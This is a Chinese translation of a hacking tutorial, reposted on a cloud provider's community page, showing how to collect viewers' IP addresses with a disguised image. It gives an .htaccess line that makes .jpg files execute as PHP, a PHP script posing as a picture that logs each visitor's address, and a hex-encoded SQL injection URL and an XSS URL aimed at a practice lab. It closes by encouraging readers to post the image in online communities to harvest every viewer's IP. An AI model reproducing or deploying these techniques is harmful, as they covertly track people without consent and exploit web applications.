通過一張照片來擷取ip地址

來源:互聯網
上載者:User
今天早上起床之後,我看到一篇關於“使用sql注入語句擷取ip地址”的文章,對此我高度興趣,就仔細閱讀了一下,在讀完這篇文章之後,我有了一個新的想法:通過對htaccess的利用,實現用一張照片擷取他人的ip地址

在本教程中,我們將學習如何用一張照片來盜取ip地址。我的想法是通過修改.htaccess檔案,將jpg檔案當作php檔案來解析。

下面就是我們需要向.htaccess中添加的代碼:

AddHandler application/x-httpd-php5 .jpg

然後將下面的代碼複製到記事本中,命名為grabber.jpg

$fh = fopen(‘ip_list.txt’, ‘a’);

fwrite($fh, $_SERVER[‘REMOTE_ADDR’].”

“);

fclose($fh);

$im = imagecreatefromjpeg(“n00b.png”);

header(‘Content-Type: image/jpeg’);

imagejpeg($im);

imagedestroy($im);

?>

將grabber.jpg的使用權限設定為755,然後再找一張照片,將其命名為n00b.png,接著放到與grabber.jpg相同的目錄之中。

就這樣,一切工作就緒了。當別人瀏覽grabber.jpg這張照片的時候,他的ip地址就會被記錄下來。

(譯者註:需要把這些東西上傳至我們的個人網站空間中)

POC:

(譯者註:作者這裡貼了一張可擷取ip的示範照片,為了大家的隱私,我沒有將其貼出,讀者可自行去作者部落格查看)

至此,我們的照片已經可以開始工作了。

接著我還想說明一下如何使用SQLi來擷取ip地址。其實使用照片來盜取ip地址十分快捷,我們沒有理由去使用SQLi這種方法,但是為了讓讀者擷取到更多的知識,我還是說明一下吧:

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1′ union select 1,0x3c696d67207372633d22687474703a2f2f6c65657474696d652e6e65742f6964696f74735f746573745f6c61622f696d61676569702f7472796d652e6a7067223e,3#

現在,再說一下如何使用xss來擷取ip地址:

http://leettime.net/xsslab1/chalg1.php?name=&submit=Search

好了,就是這些了。

我們可以用這個技巧做許多有趣的事情,事實上大部分社區都允許我們發布一些照片,所以我們可以用這個方法去擷取所有訪問到我們照片的人的ip地址。

謝謝您的閱讀,Happy Hacking!

來自:駭客與極客(號:freebuf )

連結:http://www.freebuf.com/articles/database/101233.html

原文:http://securityidiots.com/Web-Pentest/Tricks/Grab-IP-Address-Using-Image.html

watcher編譯

  • 聯繫我們

    該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

    如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.